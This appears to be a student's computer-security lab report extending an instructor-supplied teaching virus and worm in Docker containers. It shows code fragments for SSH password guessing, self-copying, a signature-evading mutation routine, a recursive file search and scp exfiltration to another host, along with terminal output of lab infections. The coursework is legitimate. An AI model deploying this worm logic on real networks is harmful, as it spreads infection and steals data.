CSE406 : Computer Security Sessional

Offline 2 : Assignment on Malware

Submitted by,
Kazi Ababil Azam
1805077
L-4/T-1, Subsection: B1

Task 1

We need to turn the FooVirus.py virus into a worm by incorporating networking code in it.

We attack 172.17.0.2 (test_sshd_container_1) where the py file is replicated and then check the application of the virus in the local file (test.foo).

For replication, the total line of the file has been taken by

```
num_of_lines = len(IN.readlines())
```

The networking part of the code from the worm has been added for the incorporation of the worm characteristics.

Screenshot #1 : Empty root directory of docker container before attack

```
PROBLEMS    OUTPUT    DEBUG CONSOLE    TERMINAL

seed@CSE406:~/Downloads/Offline-Malware-Jan23/Docker-setup$ dockps
104a09b52dcd  test_sshd_container_1
cba8d3c33467  test_sshd_container_10
1f3e54d942b6  test_sshd_container_2
906342219b1b  test_sshd_container_3
258f84c684d2  test_sshd_container_4
7345f7c4ee18  test_sshd_container_5
021652a7f4e6  test_sshd_container_6
6582a2ead111  test_sshd_container_7
d4175c1068ef  test_sshd_container_8
35a730c94918  test_sshd_container_9
seed@CSE406:~/Downloads/Offline-Malware-Jan23/Docker-setup$ docksh 10
root@104a09b52dcd:/# cd .
root@104a09b52dcd:/# cd
root@104a09b52dcd:~# ls
root@104a09b52dcd:~# ls -l
total 0
root@104a09b52dcd:~#
```

Screenshot #2 : Uncommented local .foo file before attack

```
AbraWorm.py Code    AbraWorm.py Demo    1805077_1.py    test.foo
1805077 > test.foo
1   Hello from test.
2   This is a test.
3   You can use this to test your code.
```

Screenshot #3 : Replication of malicious file in the root directory of docker container after attack

```
PROBLEMS    OUTPUT    DEBUG CONSOLE    TERMINAL

total 0
root@104a09b52dcd:~# ls
1805077_1.py
root@104a09b52dcd:~# cat 1805077_1.py
#!/usr/bin/env python
import sys
import os
import glob

##   FooVirus.py
##   Author: Avi kak (kak@purdue.edu)
##   Date:   April 5, 2016; Updated April 6, 2022

# import sys
# import os
import random
import paramiko
import scp
```

Screenshot #4 : Altered .foo file after attack

```
AbraWorm.py Code    AbraWorm.py Demo    1805077_1.py    test.foo ×
1805077 > test.foo
1  #Hello from test.
2  #This is a test.
3  #You can use this to test your code.
```

Task 2

We need to modify the given worm code so that no two copies of the worm are exactly the same in all of the infected hosts at any given time.

The attacked victim is 172.17.0.3 (test_sshd_container_2) where we should find an altered version of the worm code.

The alteration is done by two ways,

1. Adding a new line at the end of the code with a random number between 0 and 1000000.
2. Randomly altering the commented lines to have more hash than the original (running) file.

The self-altering code is given below. The new worm file is generated from the old file by alteration and renamed in the victim device according to the original worm file.

Screenshot #1 : Updated worm code for dynamic alteration to avoid signature-based recognition

1805077 > 1805077_2.py

```
            print("\nFiles of interest at the target: %s" % str(files_of_interest_at_target))
            scpcon = scp.SCPClient(ssh.get_transport())
            if len(files_of_interest_at_target) > 0:
                for target_file in files_of_interest_at_target:
                    scpcon.get(target_file)

            # Copy all the lines of this file in a variable
            content = []
            with open(sys.argv[0],'r') as f:
                content = f.readlines()
            # Add a random number to the end of the file
            content.append("\n# This is a random number added to the end of the worm file:\n")
            content.append("#Random number: ")
            content.append(str(random.randint(0, 1000000)))
            content.append(" End!\n")

            # Find commented lines in content and alter the comments randomly
            for i in range(len(content)):
                if content[i].find('#') >= 0:
                    if random.random() > 0.5:
                        content[i] = content[i].replace('#','##')

            # Open a temp file and copy the contents of this file on to it
            # and then copy the temp file back to the target host
            with open('new_worm.py','w') as f:
                f.writelines(content)

            print("new worm created")
            # Now deposit a copy of AbraWorm.py at the target host:
            scpcon.put('new_worm.py')

            # Rename the worm file to original filename
            cmd = 'mv new_worm.py ' + sys.argv[0]
            stdin, stdout, stderr = ssh.exec_command(cmd)

            scpcon.close()
        except:
            print("ERROR")
            continue
        # Now upload the exfiltrated files to a specially designated host,
        # which can be a previously infected host.  The worm will only
```

Screenshot #2, # 3 : Initial state of victim container and exfiltration receiving container before attack

```
    root@104a09b52dcd:~# exit
exit
seed@CSE406:~/Downloads/Offline-Malware-Jan23/Docker-setup$ dockps
104a09b52dcd  test_sshd_container_1
cba8d3c33467  test_sshd_container_10
1f3e54d942b6  test_sshd_container_2
906342219b1b  test_sshd_container_3
258f84c684d2  test_sshd_container_4
7345f7c4ee18  test_sshd_container_5
021652a7f4e6  test_sshd_container_6
6582a2ead111  test_sshd_container_7
d4175c1068ef  test_sshd_container_8
35a730c94918  test_sshd_container_9
seed@CSE406:~/Downloads/Offline-Malware-Jan23/Docker-setup$ docksh 1f
root@1f3e54d942b6:/# cd
root@1f3e54d942b6:~# echo abraabracadabra >> task2.txt
root@1f3e54d942b6:~# ls
task2.txt
root@1f3e54d942b6:~# cat task2.txt
abraabracadabra
root@1f3e54d942b6:~#
```

```
root@1f3e54d942b6:~# ls
task2.txt
root@1f3e54d942b6:~# cat task2.txt
abraabracadabra
root@1f3e54d942b6:~#
```

```
root@906342219b1b:~# ls
root@906342219b1b:~#
```

Screenshot #4 : State of host container (running device) before and after attack

```
seed@CSE406:~/Downloads/Offline-Malware-Jan23/1805077$  ls
1805077_1.py  1805077_2.py  test.foo
seed@CSE406:~/Downloads/Offline-Malware-Jan23/1805077$ python3 1805077_2.py

Trying password mypassword for user root at IP address: 172.17.0.3


connected



output of 'ls' command: [b'task2.txt\n']

files of interest at the target: [b'task2.txt']
new worm created

Will now try to exfiltrate the files


connected to exhiltration host

seed@CSE406:~/Downloads/Offline-Malware-Jan23/1805077$ ls
1805077_1.py  1805077_2.py  new_worm.py  task2.txt  test.foo
seed@CSE406:~/Downloads/Offline-Malware-Jan23/1805077$ cat task2.txt
abraabracadabra
seed@CSE406:~/Downloads/Offline-Malware-Jan23/1805077$
```

Screenshot #5, #6 : Final state of victim container (and exfiltration receiver) after attack

```
PROBLEMS    OUTPUT    DEBUG CONSOLE    TERMINAL

root@1f3e54d942b6:~# ls
task2.txt
root@1f3e54d942b6:~# cat task2.txt
abraabracadabra
root@1f3e54d942b6:~# ls
1805077_2.py  task2.txt
root@1f3e54d942b6:~# cat task2.txt
abraabracadabra
root@1f3e54d942b6:~# cat 1805077_2.py
##!/usr/bin/env python

### AbraWorm.py

### Author: Avi kak (kak@purdue.edu)
###### Date:   April 8, 2016; Updated April 6, 2022

####  This is a harmless worm meant for educational purposes only.  It can
##  only attack machines that run SSH servers and those too only under
##  very special conditions that are described below. Its primary features
##  are:
####
##  -- It tries to break in with SSH login into a randomly selected set of
##     hosts with a randomly selected set of usernames and with a randomly
####     chosen set of passwords.
####
####  -- If it can break into a host, it looks for the files that contain the
##     string `abracadabra'.  It downloads such files into the host where
```

```
root@906342219b1b:~# ls
root@906342219b1b:~# ls
task2.txt
root@906342219b1b:~# cat task2.txt
abraabracadabra
root@906342219b1b:~#
```

```
                # use those previously infected hosts as destinations for
                # exfiltrated files if it was able to send the login credentials
                ## used on those hosts to its human masters through, say, a
                ## secret IRC channel. (See Lecture 29 on IRC)
                if len(files_of_interest_at_target) > 0:
                    print("\nWill now try to exfiltrate the files")
                    try:
                        ssh = paramiko.SSHClient()
                        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
                        ##  For exfiltration demo to work, you must provide an IP address
 and the login
                        #  credentials in the next statement:
                        ssh.connect('172.17.0.4',port=22,username='root',password='mypass
word',timeout=5)
                        scpcon = scp.SCPClient(ssh.get_transport())
                        print("\n\nconnected to exhiltration host\n")
                        for filename in files_of_interest_at_target:
                            scpcon.put(filename)
                        scpcon.close()
                    except:
                        print("No uploading of exfiltrated files\n")
                        continue
    if debug: break

# This is a random number added to the end of the worm file:
#Random number: 751857 End!
root@1f3e54d942b6:~#
```

Task 3

We have to extend the worm code so that it descends down the directory structure, and recursively searches for files with ‘abracadabra’.

The attacked victim is 172.17.0.3 (test_sshd_container_2) where the directory structure is as follows:

```
root:
  task2.txt
  task3.txt
  a:
    task3a.txt
    a1:
      task3a1.txt
  b:
    task3b.txt
```

The .txt files all contain the magic string ‘abracadabra’. The worm code is updated from task 2 in two places. One, the grep command is changed to the recursive mode. The second change is the change in the exfiltration code, where the path had to be removed from the filename to exfiltrate the files to another device.

Screenshot #1, #2 : Modified worm code to facilitate the recursive search for files of interest and resultant change of exfiltration code

```
#     continue
# Now let's look for files that contain the string 'abracadabra'
cmd = 'grep -rl abracadabra *'
stdin, stdout, stderr = ssh.exec_command(cmd)
error = stderr.readlines()
if error:
```

```
scpcon = scp.SCPClient(ssh.get_transport())
print("\n\nconnected to exhiltration host\n")
for filename in files_of_interest_at_target:
    # change from bytes to string
    filename = filename.decode('utf-8')
    # rename the file excluding the path
    filename = filename.split('/')[-1]
    print("filename: %s" % filename)
    scpcon.put(filename)
scpcon.close()
```

Screenshot #3 : Initial state of victim container (and exfiltration receiver) before attack

```
root@1f3e54d942b6:~# ls
a  b  task2.txt  task3.txt
root@1f3e54d942b6:~# cat task2.txt
abraabracadabra
root@1f3e54d942b6:~# cat task3.txt
abracadabra
root@1f3e54d942b6:~# cd a
root@1f3e54d942b6:~/a# ls
a1  task3a.txt
root@1f3e54d942b6:~/a# cat task3a.txt
abracadabra
root@1f3e54d942b6:~/a# cd a1
root@1f3e54d942b6:~/a/a1# ls
task3a1.txt
root@1f3e54d942b6:~/a/a1# cat task3a1.txt
abracadabra
root@1f3e54d942b6:~/a/a1# cd
root@1f3e54d942b6:~# cd b
root@1f3e54d942b6:~/b# ls
task3b.txt
root@1f3e54d942b6:~/b# cat task3b.txt
abracadabra
root@1f3e54d942b6:~/b#
```

```
root@906342219b1b:~# ls
root@906342219b1b:~#
```

Screenshot #3 : State of host before and after attack

```
seed@CSE406:~/Downloads/Offline-Malware-Jan23/1805077$ ls
1805077_1.py  1805077_2.py  1805077_3.py  test.foo
seed@CSE406:~/Downloads/Offline-Malware-Jan23/1805077$ python3 1805077_3.py

Trying password mypassword for user root at IP address: 172.17.0.3


connected



output of 'ls' command: [b'a\n', b'b\n', b'task2.txt\n', b'task3.txt\n']

files of interest at the target: [b'a/a1/task3a1.txt', b'a/task3a.txt', b'b/task3b.txt', b'task2.txt', b'task3.txt']
new worm created

Will now try to exfiltrate the files


connected to exhiltration host

filename: task3a1.txt
filename: task3a.txt
filename: task3b.txt
filename: task2.txt
filename: task3.txt
seed@CSE406:~/Downloads/Offline-Malware-Jan23/1805077$ ls
1805077_1.py  1805077_2.py  1805077_3.py  new_worm.py  task2.txt  task3.txt  task3a.txt  task3a1.txt  task3b.txt  test.foo
```

Screenshot #4 : Final state of victim container (and exfiltration receiver) after attack

```
root@1f3e54d942b6:~/b# cd
root@1f3e54d942b6:~# ls
1805077_3.py  a  b  task2.txt  task3.txt
root@1f3e54d942b6:~#
```

```
root@906342219b1b:~# ls
root@906342219b1b:~# ls
task2.txt  task3.txt  task3a.txt  task3a1.txt  task3b.txt
root@906342219b1b:~#
```